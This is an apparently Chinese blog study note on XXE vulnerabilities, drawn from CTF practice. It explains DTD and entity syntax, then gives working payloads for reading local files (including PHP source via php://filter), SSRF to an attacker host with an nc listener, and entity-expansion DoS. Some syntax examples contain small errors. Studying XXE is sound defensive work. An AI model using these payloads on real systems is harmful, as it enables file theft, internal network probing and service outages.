XXE漏洞学习分析

文章目录
  1. 1. XML基本用法
    1. 1.1. 文档类型定义:DTD
    2. 1.2. DTD介绍
    3. 1.3. XML实体分为普通实体和参数实体两类:
      1. 1.3.1. 普通实体
      2. 1.3.2. 参数实体
  2. 2. XXE漏洞造成的危害
    1. 2.1. 任意文件读取
    2. 2.2. URL请求 SSRF攻击
    3. 2.3. Dos

关于XXE漏洞,到目前为止我遇见过两次,一次在SWPUCTF线上赛,另一次在Jarvis OJ上,看过一些大牛们写的分析,但是自己没认真地研究过这个漏洞,反正春节我也想躲个清静,那就研究一下这个漏洞吧!

XML基本用法

文档类型定义:DTD

基本格式:

1
<!DOCTYPE 根元素名 [ 元素描述 ]>

DTD介绍

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
带有 DTD 的 XML 文档实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

XML实体分为普通实体和参数实体两类:

普通实体

内部:

1
<!ENTITY file "file:///路径">

外部:

1
<!ENTITY file SYSTEM "外部文件URL地址">

引用:

1
&file;(根据实际情况,不一定是file

参数实体

内部:

1
<!ENTITY %file "file:///路径">

外部:

1
<!ENTITY file SYSTEM "外部文件URL地址">

引用:

1
%file;(同上

##一个完整的简短XML示例
这是一个普通实体的内部访问实例。

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY will "Hello World!">
]>
<root>&will;</root>

XXE漏洞造成的危害

任意文件读取

构造以下XML(这里是外部访问,所以要带上SYSTEM),然后发送:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY file SYSTEM "file:///路径">
]>
<root>&file;</root>

JarvisOJ上的原题来源于这个漏洞,链接api调用 ,题目要求也就是获取目标机器/home/ctf/flag.txt中的flag值。
还有一个点需要注意,如果读取的是php文件,直接用file读取会导致解析错误,此时可以利用php://filter将内容转换为base64后再读取。

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<root>&file;</root>

URL请求 SSRF攻击

设置监听端口,比如1231(环境为Ubuntu 14.04)

1
sudo nc -lvvp 1231

然后构造

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "http://yourvps">
]>
<root>&file;</root>

这时浏览器会一直处于加载状态,但是Ubuntu上能看到相关的访问信息。

Dos

1
2
3
4
5
6
7
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

如果解析得很慢,说明测试成功。

参考文章:
XXE注入攻击笔记
小试XML实体注入攻击